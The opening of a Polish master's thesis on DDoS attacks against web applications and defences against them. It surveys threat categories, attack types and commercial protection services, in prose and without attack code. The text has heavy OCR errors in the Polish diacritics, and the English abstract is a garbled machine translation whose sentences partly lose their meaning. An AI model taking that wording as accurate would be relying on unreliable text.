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Streszczenie

Praca magisterska skupia si¢ na atakach DDoS, ich wptywie na aplikacje
internetowe oraz pokazuje niektére metody zabezpieczen przed nimi. Przedstawione sa
réwniez zagrozenia zwigzane z aplikacjami tego typu, przyblizone sg ataki DDoS oraz
istniejgce metody obrony przed nimi. W cze$ci praktycznej pracy pokazana jest aplikacja
testowa, zaimplementowane ataki DDoS i uzyte metody zabezpieczen. Nastepnie
zaprezentowane sg wyniki wykonanych testow wydajnosci aplikacji w réznych
konfiguracjach. Na koncu tej czeSci zawarte s3 szczegélowe wnioski z
przeprowadzonych eksperymentow. Udalo si¢ zaimplementowaé takie metody
zabezpieczen, ze wszystkie przedstawione w czesci praktycznej rodzaje atakow DDoS
zostaty skutecznie zmitygowane — wyniki testow wydajnosci aplikacji z tymi
zabezpieczeniami pokazywaly czasy odpowiedzi ponizej 1 sekundy w czasie trwania
réznego rodzaju atakow. Przedstawione zostaly réwniez mozliwe dalsze kontynuacje
pracy, poprzez implementacje innych atakéw DDoS oraz innych metod zabezpieczen
przed nimi, jak tez potencjalne skupienie si¢ na innych rodzajach aplikacji dost¢gpnych na
rynku.

Stowa kluczowe
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Abstract

The master's thesis concerns DDoS attacks, their impact on Internet applications
and characteristic features of methods against protection. Threats with applications of this
type are also presented, dangerous DDoS and methods of defense against them are
approximated. In the practical part of the work, a test application is shown, implemented
in a safe DDoS way and using security methods. The results of application performance
tests in various configurations are presented. At the end of this part, there are detailed
conclusions from the experiments. Such security methods were implemented that all
elements in the practical part include DDoS attacks were effectively mitigated - the results
of application performance with protections, which after transmitting the response are
located after 1 second during the duration of the type of attacks. Possible applications of
continuing work, through the implementation of other DDoS attacks and other methods
of protection against them, as well as the threat of focusing on other types of applications
launched on the market.
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1. Wprowadzenie

Aplikacje webowe, charakteryzujace si¢ wykorzystaniem przegladarek
internetowych jako interfejsu uzytkownika, sg nieoddzielng czgéci dzisiejszego $wiata.
Rozwigzanie to jest powszechnie wykorzystywane w wielu branzach takich jak e-
commerce, bankowos$¢, streaming i udostepnianie wideo, czy tez w mediach
spoteczno$ciowych. Aplikacje webowe cechujg sie tatwoscig dostepu i korzystania z nich
dla przecietnego uzytkownika, co kieruje rozwoj technologii w stron¢ wykorzystywania
ich do coraz wigkszej liczby przypadkoéw. Z drugiej strony, z powodu koniecznos$ci
cigglego potaczenia z Internetem i wykorzystania przegladarek internetowych, aplikacje
webowe majg unikalne dla siebie potencjalne strony atakow, ktore to ciaggle zostaja
wykorzystywane przez atakujacych.

Wraz z rozwojem aplikacji webowych, wzrosta tez ilo$¢ potencjalnych stabych
punktow, ktére sa wykorzystane przez atakujagcych. Oznacza to, iz ro$nie
zapotrzebowanie na zabezpieczanie tych aplikacji zgodnie ze standardami
cyberbezpieczenstwa, w celu ochrony przed nowo powstajacymi wektorami atakow [1,

2, 3].
1.1. Cel, zakres i metodyka pracy

1.1.1. Cel pracy

W pracy magisterskiej poruszony jest temat atakdw DDoS z ostatniej kategorii
przedstawionej w nastepnym podrozdziale. Celem pracy jest przedstawienie metod
zabezpieczen przed atakami DDoS w kontek$cie aplikacji webowych. Dodatkowym
celem bedzie zastosowanie i implementacja takich metod zabezpieczen, aby udato si¢
zminimalizowa¢ skutki ré6znych rodzajow atakéw DDoS, dla normalnych uzytkownikow

aplikacji. Hipoteza badawcza jaka bedzie testowana to:

H: Istniejg takie metody zabezpieczen przed atakami DDoS, ze po ich
implementacji, normalny uzytkownik aplikacji jest w stanie z niej korzysta¢ w trakcie

trwania r6znego rodzaju ataku.

1.1.2. Zakres pracy

Zakresem pracy jest stworzenie aplikacji testowej symulujgcej dziatanie prostego

sklepu internetowego 1 przeprowadzenie roznych rodzajow atakow DDoS w celu



przetestowania zroznicowanych technik zabezpieczen przed nimi. Aplikacja ta bedzie
zaimplementowana w nowoczesnych technologiach takich jak Spring Boot, biblioteka
jezyka Javascript Angular, czy tez relacyjna baza danych stworzona w $rodowisku
MySQL. Nastepnie przeprowadzona zostanie analiza i pordwnanie technik zabezpieczen
na podstawie zdefiniowanych wczesniej kryteriow oceny. Kryteria te beda pochodzilty z
wykonanych testow wydajnosci aplikacji przeprowadzonych przy uzycia narzedzia

Jmeter.

1.1.3. Metodyka

Do osiagniecia postawionych wyzej celéw pracy, wykonywane beda testy
wydajnosci zaimplementowanej aplikacji testowej podczas gdy jest ona celem réznego
rodzaju atakow DDoS. Testy te beda wykonane na aplikacje bez zadnych zabezpieczen
oraz z zaimplementowanymi réznymi rodzajami metodami obrony przed nimi.
Nastepnym krokiem bedzie obserwacja i porownanie wynikow testow wydajnosci na
podstawie wybranych kryteriow oceny oraz przedstawienie wnioskow jakie wynikajg z

przeprowadzonych eksperymentow.
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1.2. Przedstawienie istniejgcych zagroZen dla aplikacji webowych

1. Ataki na Bezpieczenstwo Danych

Ataki przeprowadzone sa na bazy danych, z ktorych korzystaja aplikacje.
Przyktadami sg ataki wstrzyknigcia kodu SQL i NoSQL (ang. SQL i NoSQL Injection)
polegajace na wstrzyknieciu komend jezyka SQL lub specyficznych komend réznych
jezykdéw NoSQL, co prowadzi do wykonania niechcianych operacji na bazach danych.
Innym atakiem w tej kategorii jest atak wstrzyknigcia kodu XML (ang. XML Injection),
ktéry podobnie do poprzednich atakdéw, polega na wstrzyknigciu komend jezyka XML w

celu oszukania aplikacji [3, 4].

2. Ataki na Autentykacje i Sesje:

Sa to ataki polegajace na wykradnigciu danych uzytkownika, lub tez przejecia
sesji uzytkownika, dajac dostgp do aplikacji podszywajac si¢ pod atakowanego
uzytkownika. Przykladami atakow w tej kategorii sa ataki brutalnej sity (ang. Brute
Force) polegajace na znalezienie danych logowania uzytkownika poprzez wykorzystanie
posiadanych informacji o uzytkowniku i przy zastosowaniu slownikow haset czgsto

wykorzystywanych przez uzytkownikdw.

Atak przechwycenia sesji (ang. Session Hijacking) skupia si¢ na przejgcia
informacji o sesji uzytkownika, co moze prowadzi¢ do wykradnigecia jego danych. Innym
przyktadem jest atak podrobienia zadan stron internetowych (ang. Cross-Site Request
Forgery, CSRF) polegajacy na sktonieniu poprawnego uzytkownika do wykonania w
danej aplikacji jakiej$ akcji, do ktoérej atakujacy nie ma dostgpu np. zmiana danych

osobowych [3].

3. Ataki na Zabezpieczenia Przegladarki:

Jest to kategoria atakow zwigzana bezposrednio z uzyciem przegladarki jako
interfejsu uzytkownika. Sg to ataki takie jak wstrzyknigcie skryptu do strony internetowe;j
(ang. Cross-Site Scripting, XSS) polegajacy na wstrzyknieciu zto§liwego skryptu. Do
tej kategorii zaliczaja si¢ rowniez ataki przejgcia przycisnigcia (ang. Clickjacking)
polegajace na ukrywanie elementéw interaktywnych w celu zmylenia uzytkownika [3,
4].

4. Ataki na Zabezpieczenia Aplikacji:



Nastepna kategoria atakow skupia si¢ na wykorzystaniu luk w zabezpieczeniach
aplikacji. Przykltadami sa atak na zla konfiguracje zabezpieczen (ang. Security
misconfiguration), czyli wykorzystanie nieprawidtowej konfiguracji zabezpieczen, czy
tez atak na niezabezpieczone, bezposrednie odniesienia do obiektow (ang. Insecure Direct
Object References, IDOR), umozliwiajacy nieautoryzowany dostep do zasobow poprzez

wykorzystanie nieprawidtowych odniesien do obiektow [3].

5. Ataki na Zabezpieczenia Sieciowe:

Kategoria atakow powigzana z samg siecig internetowa wykorzystywang do
komunikacji uzytkownika z serwerem. Przyktadami sg ataki cztowiek atakujgcy w srodku
(ang. Man-in-the-Middle), gdzie atakujacy znajduj¢ si¢ pomigdzy komunikujgcymi si¢
stronami 1 moze podstuchiwa¢ 1 przechwyci¢ komunikaty. Innym atakiem jest
fatszowanie DNS (ang. DNS Spoofing) polegajacy na przesytaniu sfatszowanych

odpowiedzi DNS w celu przekierowania uzytkownika na ztosliwa strong internetowa [3].

6. Ataki na Zasoby Aplikacji:

Wigkszo$¢ aplikacji internetowych korzysta z pewnej ograniczonej liczby
przypisanych zasobow w celu poprawnego funkcjonowania. Ataki z tej kategorii
wykorzystuja te ograniczenia, probujac je przekroczy¢. W tej kategorii wyrdzniamy takie
ataki jak atak korzystajacy z zewngtrznych encji XML (ang. XML External Entity, XXE)
polegajacy na uzyciu zewnetrznych encjit XML w celu przeksztalcenia atakowanego
pliku XML. Innym przyktadem ataku jest atak rozproszonej odmowy dostepu do ustug
(ang. Distributed Denial of Service, DDoS), ktory polega na przetadowanie ruchem

sieciowym zasobow serwera doprowadzajac do jego niewydolnosci i utraty potaczenia
3, 4].

1.3.Tlo i kontekst problemu atakéw DDoS w srodowisku aplikacji webowych

Podczas rozwazania aspektow bezpieczenstwa aplikacji webowych, konieczne
jest wigc rozwazenie kwestii atakow DDoS. Konsekwencje udanych atakéw DDoS
powigzane s3 z utratg potencjalnych zyskow spowodowanych niedziatajaca ustugg. W
przypadku sklepu internetowego, czas, w ktorym skuteczny atak uniemozliwia
korzystanie ze strony jest powigzany z utratg potencjalnych zarobkow dla sklepu.
Ponadto, uzytkownik moze skorzysta¢ ze strony internetowej konkurencji i z czasem

zacza¢ korzysta¢ wylacznie z ustug konkurentow, szczego6lnie gdy udane ataki DDoS
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trwaja dlugo i czgsto sie powtarzajg. W ostatnich latach liczba atakéw DDoS nie malata

I mozemy wyr6zni¢ najbardziej znane ataki [1, 2, 5]:
1. Ataki na GitHub (2018):

W lutym 2018 roku, GitHub stat si¢ celem jednego z najwigkszych znanych
atakow DDoS w historii. Atak ten trwal kilka dni i mial na celu przecigzenie
infrastruktury GitHub, przez co dost¢p do serwisu dla wielu r6znych uzytkownikow byt

ograniczony, lub niemozliwy [6].
2. Atak na Dyn (2016):

W pazdzierniku 2016 roku nastapil znaczny atak DDoS, ktory skierowany byl na
dostawce ustug DNS o nazwie Dyn. Atak wptynat na wielu popularnych dostawcow
ustug internetowych, uniemozliwiajac dostep do wielu stron, w tym Twittera, Netflix i

wielu innych [4, 12].
3. Ataki na Amazon Web Services (2020):

W lutym 2020 roku serwis Amazon Web Services (AWS) stata si¢ celem serii
atakow DDoS, ktére mialy na celu przecigzenie infrastruktury chmurowej. Ataki te

wplynely na dostepnos¢ kilku ustug dostepnych na platformie AWS [13].
4. Ataki na Spotify, Twitter, Reddit, i inne (2016):

W pazdzierniku 2016 roku liczne serwisy, takie jak Spotify, Twitter, Reddit 1 inne,
staty si¢ celem atakoéw DDoS. Atakujacy wykorzystywali botnety do generowania duzego

ruchu, przez co zaktocajac dostepnosc¢ tych platform [13].
5. Atak na WikilLeaks (2010):

W grudniu 2010 roku serwis WikiLeaks stat si¢ celem atakoéw DDoS po
opublikowaniu tzw. "Cablegate". Atakujacy chcieli zablokowa¢ dostep do serwisu w

zwiazku z kontrowersyjnymi informacjami opublikowanymi przez WikiLeaks [3, 14].
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2. Ataki DDoS

2.1. Definicja i charakterystyka atakow DDoS

Ataki DDoS (Distributed Denial of Service) to rodzaj cyberatakow, w ktérych
grupa zdecentralizowanych komputeréw lub urzadzen, czesto zwana botnetem,
wspotpracuje w celu przecigzenia zasobow sieciowych, serwerow lub aplikacji,
uniemozliwiajac dostep do nich dla prawidtowych uzytkownikow. W kontekscie aplikacji
webowych, atakujagcy moze wybra¢ jako cel ataku serwer obslugujacy zadania od
uzytkownikoéw aplikacji, doprowadzajac do spowolnienia czasu odpowiedzi, lub

kompletnie jej braku - zadania przekraczaja limit czasu na odpowiedz.

Celem atakow DDoS jest czasowe lub trwate zablokowanie dostepu do ustugi lub
zasobow, co prowadzi do niedostepnosci ustug dla uzytkownikow koncowych [2, 9, 10].
Na ponizszym rysunku 1.1. przedstawiony zostat przyktadowy schemat ataku DDoS.
Widaé na nim, ze atakujacy za pomoca botow przesyla pakiety, lub zadania do celu tego
ataku (w tym przypadku aplikacji internetowej). Sprawia to, iz poprawny uzytkownik tej
aplikacji nie moze korzysta¢ z atakowanej aplikacja - istniejg bardzo duze spowolnienia

W jej czasie odpowiedzi na zadania, lub sa one odrzucane.

pakiety /

Zgdania

Cel ataku
np. aplikacja
webowa

&_

Atakujacy

)

Poprawny
uzytkownik
aplikacji

Zadania

Rys. 1. 1. Przykiadowy schemat ataku DDoS [opracowanie wilasne]

2.2. Klasyfikacja atakow DDoS

Ataki DDoS mozemy klasyfikowac pod wzgledem tego w jaki sposob ograniczajg
dostep do ustugi.

Pierwsza kategorig sg ataki wolumetryczne (z ang. Volumetric attacks). Celem
atakow z tej kategorii jest zajecia catej przepustowosci sieciowej ofiary ataku. Wykonuje

si¢ to poprzez przesylanie ogromnej liczby danych, doprowadzajac do przecigzenia tacza
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internetowego. Przyktadem ataku z tej kategorii jest atak powodzi pakietow UDP (ang.
UDP Flood), polegajacy na wysytaniu ogromnej liczby pakietow UDP do losowych
portow na serwerze ofiary. Innym przyktadem jest atak powodzi pakietow ICMP (ICMP
Flood) polegajacy na przesylaniu duzej liczby zgdan ICMP Echo Request w celu

przecigzenia tacza.[3]

Nastegpng kategorig sg ataki na warstwe sieciowa. Wystepuja rowniez pod nazwa
atakow protokotowych. Celem tych atakow jest wyczerpanie zasobow serwera, a takze
urzadzen sieciowych takich jak zapory sieciowe (ang. Firewall), czy tez moduty
roéwnowazenia obcigzenia (ang. load balancer). Do tego rodzaju zagrozen zaliczamy ataki
powodzi zapytan SYN i ACK (ang. SYN Flood, ACK Flood). Pierwszy z nich opiera si¢
na wysyltaniu duzej liczby zadan potaczen TCP SYN bez oczekiwania na zakonczenie
trojfazowego procesu nawigzania potgczenia - nie czekamy na otrzymanie odpowiedzi od
serwera TCP ACK. Drugi z tych atakéw polega na wysytania duzej liczby pakietow TCP
ACK w celu przecigzenia urzadzen monitorujacych stan potaczenia. Atakiem z tej
kategorii jest tez atak ping $mierci (ang. Ping Of Death, POD) polegajacy na przesytanie
sfragmentowanych pakietow IP, ktore po odtworzeniu przez serwer osiggaja rozmiar
wiekszy niz maksymalny, lub sa znieksztalcone w taki sposob, ze powoduja btedy po

stronie serwera [2, 5].

Kolejng kategorig sa ataki na warstwe aplikacji. Ich celem jest atakowanie
specyficznych aplikacji lub ustug dziatajacych na serwerze. Sg one szczego6lnie trudne do
wykrycia, gdyz ich dziatanie jest trudne do odr6znienia od normalnego ruchu sieciowego.
Do tej kategorii zaliczamy atak powodzi zadan http (ang. HTTP Flood), polegajacy na
wysylaniu duzej ilosci zadan HTTP do serwera webowego, aby przeciazy¢ jego zasoby.
Podobnie dziata atak niezno$ny krol obcigzen HTTP (HTTP Unbearable Load King,
HULK). Wysyta on unikalne zapytania HTTP, poprzez dodanie dodatkowych losowych
parametrow do zapytania, uzycie réznych agentow uzytkownikow w nagtéwku oraz
wymuszenie w naglowku opcji bez zapisu do pamigci podrecznej (ang. ,,no-cache”).
Oznacza to, ze serwer nie moze skorzysta¢ z pamieci podrecznej 1 musi obstuzy¢ kazde
zadanie z osobna, co zwigksza zuzycie zasobow aplikacji. Innym przykladem jest atak
Slowloris, charakteryzujacy si¢ utrzymywaniem wielu ilosci potaczen HTTP z serwerem

poprzez wysylanie nickompletnych zgdan HTTP [2, 5, 10].
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W nastepnej kategorii ataki charakteryzujg si¢ wykorzystaniem serwerdw trzecich
w celu odbijania ruchu do ofiary ataku i czgsto znaczaco zwigkszajac jego objetosc. Sa
to ataki refleksyjne i amplifikacyjne. Przyktadem jest atak wzmocnienia zapytan DNS i
NTP (ang. DNS Amplification i NTP Amplification). Pierwszy z nich opiera si¢ na
wysytaniu niewielkich zapytaniami DNS do serweréw DNS, ktore odpowiadaja duzymi
odpowiedziami skierowanymi do ofiary ataku. Analogicznie dziata atak NTP
Amplification, gdzie celem ataku jest przekierowanie duzych odpowiedzi od serwerow
NTP jako odpowiedz na niewielkie zapytania. Serwery NTP uzywane sg do dostarczania
tzw. wzorcowego czasu NTP wyznaczanego przez GPS. Dzigki czemu wszystkie
urzadzenia korzystajace z serwera NTP sa w stanie aktualizowaé i synchronizowac

godzing [2, 5, 10].

Ostatnig kategorig sa ataki hybrydowe. Korzystaja one z wielu wspomnianych juz
technik atakow. Sa one w stanie atakowac¢ rozne warstwy sieci i aplikacji jednoczesnie

co sprawia, iz sg ciezko si¢ przed nimi obroni¢ [2, 5].

Przykladem ataku z tej kategorii jest korzystanie z botnetu przez atakujacego. Sam
botnet sktada si¢ z zainfekowanych urzadzen koncowych nad ktérymi atakujacy przejat
kontrolg. Przy ich pomocy hacker moze wykonywa¢ wiele réznych rodzajow atakow
jednoczesnie. Z powodu dostgpnosci wielu urzadzen takich jak komputery personalne,
serwery, ataki moga naptywac w bardzo duzych ilo$ciach z r6znych miejsc na §wiecie co

utrudnia wykrycie ktory ruch sieciowy jest czgscig ataku [1].

Znanym przyktadem botnetu jest Mirai — botnet, ktéry powstat w 2016 r. Jego
celem byto wykorzystanie stabo zabezpieczonych urzadzen IoT opartych o system Linux
z zainstalowanym pakietem narzedzi uniksowych BusyBox oraz otwartym portem z
ustuga Telnet, przez ktory dochodzito do infekcji i przejgcia kontroli nad urzadzeniem.
Mirai byt wykorzystywany glownie w celu przeprowadzania atakow DDoS. Skala tego
botnetu byto bardzo duza - wedlug jego autora osiggngt maksymalnie okoto 380 tys.
urzadzen. Kod zrodlowy botnetu zostat upubliczniony przez autora na jednym z forow
hackerskich, po czym uzytkownicy zaczgli tworzy¢ wiele podobnych botnetow, poprzez

modyfikacje oryginatu na wiele réznych sposobow [1, 9].
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3. Metody zabezpieczen przed atakami DDoS

3.1. Kategorie metod zabezpieczen

Metody zabezpieczen przed atakami DDoS mozna podzieli¢ na 3 gtowne

kategorie:

e prewencyjne,
e detekcyjne,
e reaktywne.

Kazda z tych kategorii skupia si¢ na innej fazie obrony przed atakiem DDoS -
zaczynajac od ich prewencji, nastgpnie skupiajac si¢ na ich wykryciu i w koncu
powiazane z odpowiednig reakcja na zaistnialy atak. Stosujac zabezpieczenia z réznych
kategorii umozliwia wielowarstwowg ochrong systemu przeciwko atakami DDoS oraz
minimalizacje ryzyka i potencjalnych strat zaistniatych w wyniku ataku. W nastepnych
podrozdzialach przedstawie poszczegédlne kategorie metod zabezpieczen oraz podam

kilka ich przyktadow [2, 5].

3.1.1. Metody prewencyjne

Metody z tej kategorii skupiajg si¢ na ograniczeniu mozliwosci przeprowadzenia
udanego ataku DDoS oraz minimalizowaniu podatno$ci systemu, lub aplikacji na ataki
tego typu. Metody te opierajg si¢ na wczesnym zapobieganiu zagrozeniom za pomoca

zastosowania odpowiedniej konfiguracji sieci, urzadzen i aplikacji [2, 5].

Przyktady metod z tej kategorii:

1. Zarzadzanie ruchem sieciowym (QoS, Rate Limiting):

Zarzadzanie jakoS$cig ustugi (ang. Quality of Service, Qo0S) - metoda polegajaca
na zastosowania mechanizmow QoS w celu ustalenia priorytetu ruchu sieciowego.
Umozliwia to zapewnienie lepszej jakosci ustug dla legalnych uzytkownikow w

przypadku zwigkszonego obciazenia sieci [11].

15



Ograniczenie szybkos$ci (ang. Rate Limiting) — metoda skupiajaca si¢ na
ograniczeniu maksymalnej ilosci zapytan, jaka uzytkownik moze wysta¢ do serwera w
okreslonym czasie. Pozwala to na redukcj¢ mozliwo$cia przecigzenia Systemu przez

jednego, lub grupe atakujacych [2].

2. Rozproszenie infrastruktury (CDN):

Sie¢ dostarczania tresci (ang. Content Delivery Networks, CDN) — sposob
dziatania infrastruktury sieciowa CDN polega na rozprowadzeniu zasobow serwera w
wielu lokalizacjach geograficznych przez co rozpraszajac ruch sieciowy, co w skutku

utrudnia przeprowadzenie skutecznego ataku DDoS skierowany na konkretng lokalizacje

[15].

3. Filtrowanie adresow IP
Metoda polegajaca na wykorzystaniu list dozwolonych i blokowanych adresow
IP, ktore pozwalajg na filtrowanie potencjalnych atakow poprzez blokowanie ruchu ze

wzgledu na lokalizacje skad zapytania przychodza, lub innych parametrow [2, 5].

4. Wzmocnienie urzadzen sieciowych 1 serwerow

Wiele atakéw DDoS jest wykonywana przy uzyciu urzadzen Internetu rzeczy
(ang. Internet of Things, 10T) nad ktorymi atakujacy przejat kontrolg (tworzac przy ich
uzyciu botnet). Aby temu zapobiec, zabezpiecza si¢ te urzadzenia np. poprzez
instalowanie aktualizacji oprogramowania uktadowego (ang. firmware), wymuszenia
silnych haset, czy tez zamknigcia niewykorzystywanych portow. Dziatania te zmniejszaja

ryzyko, iz dane urzadzenie IoT bedzie wykorzystane w atakach [2].

3.1.2. Metody detekcyjne

Metody z tej kategorii koncentruja si¢ na szybkim i skutecznym wykrywaniu prob
atakow DDoS. Daje to mozliwo$¢ na szybka reakcje w celu ograniczenia skutkow ataku.
Systemy z tej kategorii skupiajg si¢ na monitorowaniu ruchu sieciowego i analizie
anomalii, ktore mogg $wiadczy¢ o zaistnieniu trwajacych, lub nadchodzgcych atakow
DDoS [2, 5].
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1. Monitorowanie przepustowosci i anomalii (NetFlow)

NetFlow — produkt firmy Cisco Systems umozliwiajacy zbieranie i analizowanie
danych o ruchu sieciowy, co pozwala na wykrycie wzrostu przepustowosci, ktory moze
wskazywaé na zaistnienie ataku DDoS. Protokoét ten dostarcza szczegotowe informacje o

kazdym potgczeniu, co umozliwia szybkg identyfikacje zagrozenia [10, 17].

2. Systemy wykrywania wiaman (IDS, IPS)

System wykrywania wiaman (ang. Intrusion Detection System, IDS) i system
zapobiegania wlamaniom (ang. Intrusion Prevention System, IPS) to systemy opierajace
si¢ na monitorowaniu ruchu sieciowego w czasie rzeczywistym i analizie zebranych
danych pod katem istnienia wzorcow charakterystycznych dla atakow DDoS oraz innych
zagrozen. IDS koncentruje si¢ na wykrywaniu anomalii, nastepnie potencjalny ruch
sieciowy zwigzany z zagrozeniem moze by¢ automatycznie blokowany przez system IPS
[4,5, 16].

3. Analiza wzorcow (ang. Pattern recognition)
W tej metodzie zawierajga si¢ techniki umozliwiajace identyfikacje
powtarzajacych si¢ schematow czesto towarzyszacych przy atakach DDoS. Metoda ta jest
skuteczna przy wykrywaniu atakbw o charakterze wolumetrycznym oraz atakw na

warstwe aplikacji [10].

4. Analiza ruchu sieciowego przy uzyciu sztucznej inteligencji (AI/ML)

W tej metodzie ruch sieciowy jest analizowany przy pomocy modeli sztucznej
inteligencji opartych na uczeniu maszynowym. Historyczne dane zwigzane z ruchem
sieciowym, migdzy innymi takie, gdzie zachodzily proby atakéw DDoS, sa
wykorzystywane jako zbior uczacy dla modelu, aby rozpozna¢ jaki ruch sieciowy jest
normalny, a jaki moze oznacza¢ potencjalne zagrozenie zwigzane z atakiem DDoS.
Algorytmy uczenia maszynowego (ang. Machine Learning, ML) sa w stanie wykry¢
subtelne anomalie w ruchu sieciowym, ktore moglyby by¢ przeoczone przez tradycyjne

metody [10].
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3.1.3. Metody reaktywne

Kategoria metod skupiajaca si¢ na reakcji na zaistniaty atak DDoS. Ich celem jest
minimalizacja skutkow ataku oraz przywrdcenie systemu do pelnej funkcjonalnosci.
Koncentrujg si¢ one przede wszystkim na ograniczaniu rozmiaru ataku i1 jego wptywu na
infrastrukture. Jednocze$nie metody te maja za zadanie przywrdcenie prawidlowego

dziatania ustug oferowanych przez system dla jego poprawnych uzytkownikow [2, 5].

1. Réwnowazenie obcigzenia (ang. Load Balancing)

Roéwnowazenie obcigzenia (ang. Load Balancing) — metoda polegajaca na
rozdzielaniu ruchu sieciowego mig¢dzy wiele serwerow, co pozwala na zmniejszenie
obcigzenia pojedynczego zasobu. W kontekscie atakow DDoS, metoda ta moze pozwoli¢

na utrzymanie dostgpnos$ci ustugi dla uzytkownikow systemu [18].

2. Przestanie ruchu do czarnej dziury, lub zapadliska (ang. Blackholing,
Sinkholing)

Przestanie ruchu do czarnej dziury (ang. Blackholing) — w tej metodzie. Po
wykryciu ataku, caly ruch skierowany na atakowany adres IP jest przekierowywany do
"czarnej dziury” (black hole), gdzie zostanie automatycznie odrzucony. Metoda ta
pozwala tymczasowo wyeliminowac zagrozenie, lecz jej minusem jest catkowite odcigcie

mozliwosci korzystania z oferowanej ustugi [15, 19].

Przestanie ruchu do zapadliska (ang. Sinkholing) - dziata podobnie co powyzsza
metoda, z tg réznica, ze w przypadku wykrycia ataku, ruch przekierowywany jest do
osobnego, kontrolowanego serwera, gdzie moze by¢ dalej monitorowany i analizowany.
Pozwala to na zgromadzenie wigkszej ilosci informacji o ataku 1 nastgpnie opracowanie

lepszych metod uchronienia si¢ przed nim w przysztosci [7].

3. Filtracja ruchu (ang. scrubbin centers)

Centra filtracji ruchu (ang. scrubbing centers) - metoda wykorzystujaca
wyspecjalizowane centra, ktore analizujg ruch sieciowy w czasie rzeczywistym i
podejmuja decyzje o oczyszczeniu go w przypadku wykrycia zagrozen. Zatozeniem jest,
ze ruch pochodzacy z atakéw DDoS jest odrzucany, a normalny ruch jest

przekierowywany do wtasciwej infrastruktury [7, 8, 16].

4. Kontakt z ISP
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W przypadku gdy ataki DDoS sg o tak duzym nasileniu, iz nasza infrastruktura
obronna nie jest w stanie sobie z nimi poradzi¢, mozemy skontaktowacé si¢ z dostawca
ustug internetowych (ang. Internet Service Provider, ISP). Moze on wtedy zastosowac

filtry na wyzszym poziomie, co pozwoli na blokade ruchu zanim dotrze on do celu [7].

Podsumowujac, wszystkie przedstawione metody z roznych kategorii majg
zastosowanie ze wzgledu na swoje zalety 1 wady. Najlepszym rozwigzaniem jest
korzystanie z kilku metod z kategorii prewencyjnych, detekcyjnych i reaktywnych, aby
stworzy¢ rozbudowany system obrony przed atakami DDoS. Pozwoli to na zwigkszenie

skutecznos$ci obrony przed aktualnymi, jak i przysztymi zagrozeniami.

3.2. Przeglqd popularnych narzedzi i rozwigzan dostgpnych na rynku

Ze wzgledu na rosngca ztozono$¢ i intensywno$¢ atakdw DDoS, rosnie tez
zapotrzebowanie na zaawansowane rozwigzania oferujgce skuteczng obrong. Z tego
powodu wiele firm oferuje ustugi i produkty dedykowane ochronie przed atakami DDoS.
Produkty te najczesciej integruja metody zabezpieczen z réznych kategorii w celu
zapewnienia kompleksowej ochrony przed wieloma typami atakow. Oto przeglad

popularnych narzgdzi i rozwiagzan dostgpnych na rynku [20]:

1. Cloudflare — jest to jedno z najpopularniejszych i najbardziej
rozpoznawalnych rozwigzan w zakresie obrony przed atakami DDoS. Oferuje ochrong
przed wieloma rodzajami atakow, takimi jak ataki wolumetryczne, ataki na warstwe
aplikacji oraz protokoty sieciowe. Jest to narzedzie typu CDN (Content Delivery

Network), oferujace rozproszong infrastrukture i filtracje ruchu sieciowego [20].

2. Akamai Kona Site Defender — ustuga ochrony przed atakami DDoS, ktora
opiera si¢ na integracji z innymi ustugami CDN, oferujac zaawansowane narzedzia do
ochrony aplikacji webowych i infrastruktury. Charakterystyczne dla Akamai jest silnie
rozbudowana sie¢ serwerow, co sprawia, ze jest ona jednym z silniejszych graczy na

rynku obrony przed atakami DDoS [20].

3. AWS Shield - ustluga ochrony przed atakami DDoS stworzona pzez
Amazon Web Services. Dost¢pne sg dwa poziomy ochrony: darmowy Standard Shield

oraz zaawansowany Shield Advanced, ktory posiada rozbudowane funkcje ochrony [20].
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4. Arbor Networks - obecnie jest czgscig NETSCOUT. Jest jednym z
gléwnych dostawcoOw zaawansowanych narzgdzi do ochrony przed atakami DDoS.
Oferuja platforme Arbor APS (Arbor Protection System), ktora jest czestym wyborem
dla przedsiebiorstw i dostawcow ustug internetowych (ISP) [20].

5. Radware DefensePro — jest to zaawansowany systemy obrony przed
atakami DDoS. Dziata on w czasie rzeczywistym oraz w trybie prewencyjnym. W sktad
gtownych funkcjonalnoéci wchodzi rozpoznawanie atakéw wolumetrycznych oraz

zaawansowana ochrona przed atakami na warstwe aplikacji [20].

6. Imperva Incapsula — jest to kompleksowe rozwigzanie oferujace zarowno
ochrone przed atakami DDoS jak i funkcje firewallu aplikacyjnego (WAF). Dodatkowo
uzytkownik ma mozliwos$¢ przyspieszenia dziatania aplikacji webowych. Rozwigzanie to

oferuj¢ obrong przed wszystkimi typami atakow DDoS [20].

7. F5 Networks (Silverline DDoSProtection) - firma F5 Networks oferuje
rézne narze¢dzia stuzace do kierowania ruchem aplikacji i ochrony przed wieloma
rodzajami zagrozen, w tym atakami DDoS. Ustuga Silverline DDoS Protection oferuj¢
ochrong¢ przed atakami tego typu jako zarzadzang w chmurze ustuge, ktéora mozna

zintegrowac z innymi narzgdziami oferowanymi przez firme F5 Networks [20].

3.2.1. Analiza cech i funkcji kluczowych narzedzi

1. Cloudflare [20]
Gléwne funkcjonalnosci:

e Whbudowane mechanizmy ograniczenia szybkosci i rtOwnowazenia obcigzenia.
e Automatyczne filtrowanie ztosliwego ruchu oraz minimalny wptyw na legalny

ruch.

e Ochrona na warstwie sieci i aplikacji (Warstwy 3, 4, 7 z modelu OSI).
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Zalety:

2.

Automatyczne rozpraszanie atakow dzigki korzystaniu z rozproszonych centréw

danych.

Skalowalnosci - jest dobrym rozwigzaniem dla matych stron jak i duzych
przedsigbiorstw.

Latwos$¢ integracji z istniejacg infrastruktura.

Automatyczna analiza ruchu sieciowego i wykorzystanie uczenia maszynowego

w celu wykrycia nowych zagrozen.

Utrata kontroli nad ruchem sieciowym - rozwigzanie to wiaze si¢ z ryzykiem
zwigzanym z przekazywaniem wszystkich danych przez serwery Cloudflare.
Ograniczona personalizacja — wysokopoziomowe opcje sg ograniczone,
zwlaszcza dla mniejszych planow.

Potencjalne problemy z prawidtowym ruchem — poprzez uzycie zaawansowanych
filtrow i zabezpieczen, mozliwe jest zablokowanie prawidlowego (legalnego)

ruchu, co moze utrudni¢ korzystanie z aplikacji dla normalnych uzytkownikow.

Akamai Kona Site Defender [20]

Gléwne funkcjonalnosci:

Zalety:

Whbudowane funkcje zapory sieciowej dla aplikacji webowych (ang. Web
Aplication Firewal, WAF).

Mozliwosc¢ korzystania z adaptacyjnej ochrony opierajacej si¢ na analizie danych.
Ochrona na warstwie 7 z modelu OSI (aplikacji) oraz ochrona przed atakami
wolumetrycznymi na poziomie sieci.

